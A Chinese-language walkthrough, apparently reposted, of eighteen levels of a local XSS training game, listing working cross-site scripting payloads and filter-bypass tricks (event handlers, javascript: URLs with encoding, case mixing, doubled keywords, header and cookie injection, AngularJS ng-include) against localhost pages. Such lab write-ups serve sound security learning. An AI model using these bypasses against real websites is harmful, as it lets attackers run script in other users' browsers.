XSS挑战之旅---游戏通关攻略
最近發(fā)現(xiàn)一個有趣的XSS闖關(guān)小游戲,游戲的作者是先知社區(qū)的大佬Mramydnei,喜歡XSS的大家可以一起來學(xué)習(xí)交流。
現(xiàn)在我把自己在前面的十八關(guān)里面的闖關(guān)過程記錄一下,大神繞行,我是菜鳥,大家可以一起學(xué)習(xí),互相進(jìn)步成長。
第一關(guān),沒有任何疑問,簡單的不能再簡單,沒有任何過濾
輸入點在url里面,參數(shù)name
輸出點在頁面里面,沒有任何限制
所以可以構(gòu)造payload
http://127.0.0.1/xss/level1.php?name=<script>confirm("完成的不錯!")</script>http://127.0.0.1/xss/level1.php?name=<script>prompt("完成的不錯!")</script>http://127.0.0.1/xss/level1.php?name=<script>alert("完成的不錯!")</script>XSS挑戰(zhàn)之旅---level2
來到第二關(guān),發(fā)現(xiàn)這次輸入點在界面和url里面都有了
輸出點還是在界面中
我們來嘗試進(jìn)行XSS試探
test"><script>confirm("完成的不錯!")</script>發(fā)現(xiàn)神奇的彈窗了,好吧,來看看源代碼
顯而易見,上面尖括號被過濾了,而下面卻沒有
這樣的話,我們原來的payload是可以用的
test"><script>confirm("完成的不錯!")</script>test"><script>prompt("完成的不錯!")</script>test"><script>alert("完成的不錯!")</script>XSS挑戰(zhàn)之旅---level3
來到第三關(guān),前面都比較簡單,就不具體敘述
輸入點輸出點見截圖
這里過濾了尖括號
我們用事件來彈窗啦
' oninput=alert`1` // ' oninput=alert`1` ' ' onchange=alert`1` // ' onchange=alert`1` 'XSS挑戰(zhàn)之旅---level4
第四關(guān)和第三關(guān)基本一樣,真搞不懂考察什么
無非就是把源碼里面單引號變成了雙引號,同樣事件彈窗
payload:
" onchange=alert`1` " " onchange=alert`1` // " oninput=alert`1` " " oninput=alert`1` //XSS挑戰(zhàn)之旅---level5
廢話不多說了,劇情還是原來的劇情
直接上源碼吧
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!"; } </script> <title>歡迎來到level5</title> </head> <body> <h1 align=center>歡迎來到level5</h1> <h2 align=center>沒有找到和test相關(guān)的結(jié)果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="test"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的長度:4</h3></body> </html>這次是on替換成了o_n script替換成了sc_ript
很明顯這是不讓我們用事件和script啊
不想多說了,我自己走了彎路
現(xiàn)在直接發(fā)我的payload:
"> <a href="javascript:%61lert(1)">click me</a> // "> <a href="javascript:alert('xss')">111</a> // "> <a href="javascript:alert(/1/)">axxx</a> //XSS挑戰(zhàn)之旅---level6
來到level6,這一關(guān)測試的主要是大小寫問題,可以用大小寫繞過技術(shù)
"> <Script>alert('handsome boy')</script> // "> <img Src=x OnError=alert('xss')> //有趣的事我自己用的編輯器也彈窗了,哈哈
XSS挑戰(zhàn)之旅---level7
來到第七關(guān),這一關(guān)是針對script和on的過濾,我們可以構(gòu)造來繞過
" oonninput=alert(1) " "> <scscriptript>alert`xss`</scscriptript> //XSS挑戰(zhàn)之旅---level8
來到了第八關(guān),這一關(guān)難度加大,我們來繼續(xù)
首先,我們需要先來進(jìn)行測試一番
測試代碼:
"'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p> ' "><img src=x onerror=alert(2) x=沒有過濾:' > < % & #
過濾了:" src on script data
就是這些了,唉,頭疼
輸出點1:
<input name=keyword value=""'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>">這個服了,直接放棄
輸出點2:
</center><center><BR><a href=""'%&#></scr_ipt><p class="o_nmouseover=" o_nmouseover="xx" o_nxxx="">xxx</p>">友情鏈接</a></center><center><img src=level8.jpg></center>a標(biāo)簽內(nèi),href屬性中,很明顯,我們想到了協(xié)議繞過
Javascript:偽協(xié)議后面可以使用URL編碼。如:<a href="javascript:%61lert(1)">click me</a>可成功執(zhí)行彈窗。可用img就不行:<img src=1 onerror="javascript:%61lert(1)">因為href屬性會跳轉(zhuǎn)到其中的URL,而會進(jìn)行URL解碼,onerror屬性只會執(zhí)行JS,不跳轉(zhuǎn)同時后面的url編碼可以再做一次entity(HTML實體)編碼:<a href="javascript:%61lert(1)">click me</a>ri ri
javascript:%61lert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1)XSS挑戰(zhàn)之旅---level9
本題目難點在于它會自動檢測url,如果發(fā)現(xiàn)沒有帶http:// 內(nèi)容則會顯示不合法,那么應(yīng)該如何繞過呢?
href必須帶著url!
javascript:alert(1)//http://www.0aa.me //利用注釋 javascript:%0dhttp://www.0aa.me%0dalert(1) //不能用注釋的情況下針對題目,我們可以適當(dāng)修改一下
javascript:alert(1)//http://www.0aa.me javascript:%0dhttp://www.0aa.me%0dalert(1) //XSS挑戰(zhàn)之旅---level10
http://127.0.0.1/xss/level10.php?keyword=well done!
輸入點在url中,參數(shù)是keyword
首先測試以下過濾情況
' "><img src=x onerror=alert(2) x=群友大神給的payload:
url=&t_sort=" type="text" onclick="alert() http://127.0.0.1/xss/level10.php?keyword=888888&t_sort="; type="text" onclick="alert() http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="" onclick="alert() http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text" http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)XSS挑戰(zhàn)之旅---level11
我們從第十關(guān)走過來的,開始抓包,打開burp suit抓包看看
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)抓包以后觀察,我們發(fā)現(xiàn)refer參數(shù)會輸出到后面
修改refer參數(shù)就可以達(dá)到彈窗效果了
XSS挑戰(zhàn)之旅---level12
繼續(xù)抓包,這次參數(shù)在user-agent處,依照第11關(guān)的辦法抓包改包
XSS挑戰(zhàn)之旅---level13
來到了第十三關(guān),這次修改的參數(shù)在cookie里面
XSS挑戰(zhàn)之旅---level14
查看源碼通過iframe標(biāo)簽引入了一個http://exofvoewer.org, 結(jié)合烏云爆出的
漏洞,上傳一個含有xss代碼的圖片觸發(fā)xss。
exif xss
XSS挑戰(zhàn)之旅---level15
這里用了angularjs的ng-include,直接在包含的頁面里用<script>觸發(fā)不了,用了img標(biāo)簽。
遵循SOP,只好調(diào)用第一關(guān)代碼。
需要單引號包裹,否則變成注釋。
paload:
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件。
包含的內(nèi)容將作為指定元素的子節(jié)點。
ng-include 屬性的值可以是一個表達(dá)式,返回一個文件名。
默認(rèn)情況下,包含的文件需要包含在同一個域名下。
<element ng-include="filename" onload="expression" autoscroll="expression" ></element> ```<ng-include src="filename" οnlοad="expression" autoscroll="expression" ></ng-include>
``` <body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>XSS挑戰(zhàn)之旅---level16
??http://127.0.0.1/xss//level16.php?keyword=test
過濾空格,script,/,使用%0d %0a做分割符
payload:
/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)> http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)> http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=x%0donError=alert('xss')> http://127.0.0.1/xss//level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert`1`></iframe> http://127.0.0.1/xss//level16.php?keyword=<svg%0aonload=alert`1`></svg>XSS挑戰(zhàn)之旅---level17
輸入點在url,我們來尋找輸出點
不要被flash迷惑。
輸入點在url中,過濾了尖括號和雙引號,用on事件觸發(fā)。
payload:
/level17.php?arg01=a&arg02= onmouseover=alert(1) http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)XSS挑戰(zhàn)之旅---level18
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)感覺17題和18題沒啥區(qū)別啊
payload:
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1) http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1` http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`19關(guān)和20關(guān)屬于Flash XSS,這里不再贅述,有興趣的小伙伴們可以去深入學(xué)習(xí)。
源碼下載地址:https://github.com/xyongsec/xss-
總結(jié)
以上是生活随笔為你收集整理的XSS挑战之旅---游戏通关攻略的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: c语言结构体嵌套及输出,C语言结构体嵌套
- 下一篇: BLE芯片PHY6222---两路PWM